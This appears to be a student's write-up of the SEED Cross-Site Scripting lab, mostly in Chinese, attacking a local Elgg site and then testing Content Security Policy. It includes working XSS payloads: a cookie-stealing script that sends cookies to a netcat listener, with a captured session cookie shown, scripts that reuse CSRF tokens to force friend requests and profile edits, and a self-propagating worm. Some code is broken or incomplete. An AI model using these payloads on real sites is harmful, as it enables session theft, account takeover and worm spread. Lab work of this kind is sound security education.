

Cross-Site Scripting (XSS) Attack Lab

Task 1: Posting a Malicious Message to Display an Alert Window

在Boby的profile页保存代码(选择Edit HTML)




随后以Alice账户登录,并访问Boby的主页,弹出警示框



Task 2: Posting a Malicious Message to Display Cookies

如图, 打印了cookie



Task 3: Stealing Cookies from the Victim's Machine

• 先使用以下命令开启tcp服务器

```
nc -l 5555 -v
```

• 将脚本输入boby的profile, 并保存

```
<script>document.write('<img src=http://127.0.0.1:5555?c='
+ escape(document.cookie) + ' >');
</script>
```

• 然后tcp服务器成功打印获取到的cookie

```
[06/19/21]seed@VM:~$ nc -l 5555 -v
Listening on [0.0.0.0] (family 0, port 5555)
Connection from [127.0.0.1] port 5555 [tcp/*] accepted (family 2, sport 54374)
GET /?c=Elgg%3Ddocg90lhe3kroankthlqpk8pq0 HTTP/1.1
Host: 127.0.0.1:5555
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefo x/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.xsslabelgg.com/profile/boby
Connection: keep-alive
```


Task 4: Becoming the Victim's Friend

• 构造恶意脚本


```
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; ①
var token="&__elgg_token="+elgg.security.token.__elgg_token; ②
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=47"+toke
n+ts; //FILL IN
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-
urlencoded");
Ajax.send();
}
</script>
```

Samy的guid为47,所以在添加好友请求时加上了Samy的guid,以及添加token和ts以绕过csrf防御措施。

• 填入about me属性



• 使用Boby登录,并访问Samy的主页,攻击成功,Boby添加了Samy



• 使用Alice登录,并访问Samy的主页,攻击成功, Alice添加了Samy

All Site Activity All Mine Friends Filter Show All Alice is now a friend with Samy just now

Question 1: Explain the purpose of Lines ① and ②, why are they are needed?

这两个参数是Elgg应对CSRF攻击的对策,Elgg在所有页面都内嵌了这两个机密值,由于同源策略,跨站请求不能访问到这两个值,并且攻击者想要猜中这两个值非常困难,而同源请求却能轻易访问到,因此可在服务端添加对这两个参数的验证,避免CSRF攻击成功实施。

Question 2: If the Elgg application only provide the Editor mode for the "About Me" field, i.e., you cannot switch to the Text mode, can you still launch a successful attack?

能够,可以使用其他客户端(比如CURI程序)来发送请求,并非一定要使用浏览器。

Task 5: Modifying the Victim's Profile

根据http header live提供的保存profile的post请求、构造恶意代码





其中的变量值包括

__elgg_token=bqigppHscgwY4oyTX0wyUw&__elgg_ts=1624140047&name=Alice&description=&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2&guid=44

```
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var name = "&name=" + userName;
var desc = "&description=Samy is my hero" +
"&accesslevel[description]=2";
var content = token + ts + name + desc + guid; //FILL IN
var samyGuid = 47; //FILL IN
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
if(elgg.session.user.guid!=samyGuid)
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
</script>
```

• 使用Samy的账号保存后,让aclice和Boby访问samy的主页,成功实施攻击





Question 3: Why do we need Line ①? Remove this line, and repeat your attack. Report and explain your observation.

代码在这里检查目标用户是不是Samy自己,如果是则不进行攻击。如果没有这个判断,当Samy将攻击代码放入自己的主页后,修改后的主页会立即显示出来,导致主页中的攻击代码立刻得到执行,把Samy的主页内容改成"Samy is my hero",原来的攻击代码会被覆盖掉,如图:



Task 6: Writing a Self-Propagating XSS Worm

• 根据task 5中的代码构造可自我传播的蠕虫代码,只需要在"About me"属性后跟上蠕虫代码即可,并在samy的about me中保存

```
<script type="text/javascript" id="worm">
window.onload = function()
{
var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; ①
```

```
var jsCode = document.getElementById("worm").innerHTML; ②
var tailTag = "</" + "script>"; ③
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); @
var desc = "&description=Samy is my hero" + wormCode + "&accesslevel[desc
ription]=2";
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var name = "&name=" + userName;
var content = token + ts + name + desc + guid; //FILL IN
var samyGuid = 47; //FILL IN
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
if(elgg.session.user.guid!=samyGuid)
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
</script>
```


• 使用boby账号登录,访问samy的主页,samy的about me被修改为Samy is my hero



Edit avatar

Boby
About me
Samy is my hero

• 使用charlie账号登录,访问boby的主页,charlie的about me被修改为Samy is my hero,蠕虫传播成功



Task 7: Defeating XSS Attacks Using CSP

• 在/etc/hosts中设置三个url


```
127.0.0.1 www.example32.com
127.0.0.1 www.example68.com
127.0.0.1 www.example79.com
```

• 下载csp.zip, 使用python代码, 开启http服务器

```
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import *
class MyHTTPRequestHandler(BaseHTTPRequestHandler):
 def do_GET(self):
   o = urlparse(self.path)
   f = open("." + o.path, 'rb')
    self.send_response(200)
    self.send_header('Content-Security-Policy',
      "default-src 'self';"
      "script-src 'self' *.example68.com:8000 'nonce-1rA2345' ")
    self.send_header('Content-type', 'text/html')
    self.end_headers()
    self.wfile.write(f.read())
    f.close()
httpd = HTTPServer(('127.0.0.1', 8000), MyHTTPRequestHandler)
httpd.serve_forever()
```

1. Point your browser to the following URLs. Describe and explain your observation.

• http://www.example32.com:8000/csptest.html



• http://www.example68.com:8000/csptest.html



CSP Test

1. Inline: Correct Nonce: OK

2. Inline: Wrong Nonce: Failed

3. Inline: No Nonce: Failed

4. From self: OK

5. From example68.com: OK

6. From example 79.com: Failed

Click me

• http://www.example79.com:8000/csptest.html

CSP Test

1. Inline: Correct Nonce: OK

2. Inline: Wrong Nonce: Failed

3. Inline: No Nonce: Failed

4. From self: OK

5. From example68.com: OK

6. From example 79.com: OK

Click me


CSP设置的nounce值为nonce-1rA2345,设置了正确nounce值的脚本会被正确执行,而错误的 nounce值或者没有nounce值对应的脚本会被浏览器忽略,。并且CSP提供了一个白名单,即来源为 example68.com的脚本会被正确执行,并且跟当前同源的脚本也会被正确执行,而其他来源的脚本会被忽略。

2. Change the server program (not the web page), so Fields 1, 2, 4, 5, and 6 all display OK. Please include your code in the lab report.

修改后后的代码如下

httpd = HTTPServer(('127.0.0.1', 8000), MyHTTPRequestHandler)
httpd.serve_forever()

• 结果三个网页1, 2, 4, 5, 6项全部变成了OK



CSP Test

1. Inline: Correct Nonce: OK

2. Inline: Wrong Nonce: OK

3. Inline: No Nonce: Failed

4. From self: OK

5. From example68.com: OK

6. From example 79.com: OK

Click me

CSP Test

1. Inline: Correct Nonce: OK

2. Inline: Wrong Nonce: OK

3. Inline: No Nonce: Failed

4. From self: OK

5. From example68.com: OK

6. From example79.com: OK

Click me